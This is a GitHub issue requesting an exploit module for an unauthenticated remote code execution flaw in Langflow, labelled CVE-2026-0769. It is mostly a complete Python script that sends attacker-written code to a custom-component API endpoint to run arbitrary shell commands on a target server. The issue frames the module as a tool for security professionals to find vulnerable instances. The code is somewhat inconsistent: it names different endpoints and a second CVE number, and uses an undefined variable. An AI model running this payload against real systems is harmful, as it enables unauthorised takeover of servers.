Skip to content

ENH: Exploit module for Langflow Unauthenticated Remote Code Execution vulnerability CVE-2026-0769 #21866

Description

@rmhowe425

Summary

Requesting to add an exploit module in exploit/multi/http for an unauthenticated remote code execution vulnerability impacting Langflow, allowing an attacker to execute arbitrary python code on a victim machine.

Basic example

# Exploit Title:  Langflow 1.3.2 - Unauth RCE
# Exploit Author: Richard Howe <rhowe425>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: 1.3.2
# Tested on: Ubuntu 22.04
# CVE : CVE-2026-0769

from requests import get, post
from argparse import ArgumentParser


def exploit(base_url: str, cmd: str | None=None):
    """
    Triggers CVE-2026-0769 by sending an unauth POST
    request to `/api/v1/validate/code` with attacker provided Python code.

    If a value for `cmd` is provided, execute a bash command.

    If no value for `cmd` is provided, trigger a Divide By Zero error to provide Python code execution.

    Parameters
    ----------
    base_url : str
        URL of Langflow instance.
    cmd : str
        Attacker provided command.

    NOTES
    -----
    Bash output isn't returned because the endpoint only returns the component template and metadata.
    The bash output is stored in _out within the build scope and isn't serialized into the JSON response,
    so the lack of command output doesn't mean the command wasn't executed.
    """
    endpoint = '/api/v1/custom_component'
    headers = {'Content-Type': 'application/json'}

    if not cmd:
        CODE = 'from langflow.custom import Component\nfrom langflow.schema import Data\nfrom langflow.io import Output\n_out = 1 / 0\nclass TestComponent(Component):\n    display_name = "ValidationTest"\n    outputs = [Output(display_name="Out", name="out", method="run")]\n    def run(self) -> Data:\n        return Data(data={"output": _out})'
    else:
        CODE = f"import subprocess as _sp\n_out = _sp.check_output({command!r}, shell=True, stderr=_sp.STDOUT).decode(errors=\"replace\").strip()\nfrom langflow.custom import Component\nfrom langflow.io import Output, MessageTextInput\nfrom langflow.schema import Data\nclass PwnComponent(Component):\n    display_name = 'CVE-2026-18729-Probe'\n    name = 'PwnComponent'\n    inputs = [MessageTextInput(display_name='In', name='input_value')]\n    outputs = [Output(display_name='Out', name='out', method='run')]\n    def run(self) -> Data:\n        return Data(data={{'output': _out}})"

    json_body = {
        'code': CODE,
        'frontend_node': {},
    }
    
    try:
        resp = post(base_url + endpoint,
                    headers=headers,
                    json=json_body
                    )
    except Exception as e:
        raise RuntimeError(f"Error querying API.\n{str(e)}")

    if resp.status_code == 200:
        return resp.json()

    raise RuntimeError(f"API returned with status code: {resp.status_code} and error: {resp.json()}")
    

def main():
    parser = ArgumentParser(description="Exploit for Langflow RCE CVE-2026-0769")
    parser.add_argument('-u', '--url', required=True, help="Target url. e.g. http://127.0.0.1:7860")
    parser.add_argument('-c', '--command', required=False, help="Bash command to execute.")
    args = parser.parse_args()

    # Trigger Vulnerability
    res = exploit(base_url=args.url, cmd=args.command)
    print(res)


main()

Motivation

The addition of this module provides security professionals with a reliable method to identify vulnerable Langflow instances that pose unnecessary risk to their network environment.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions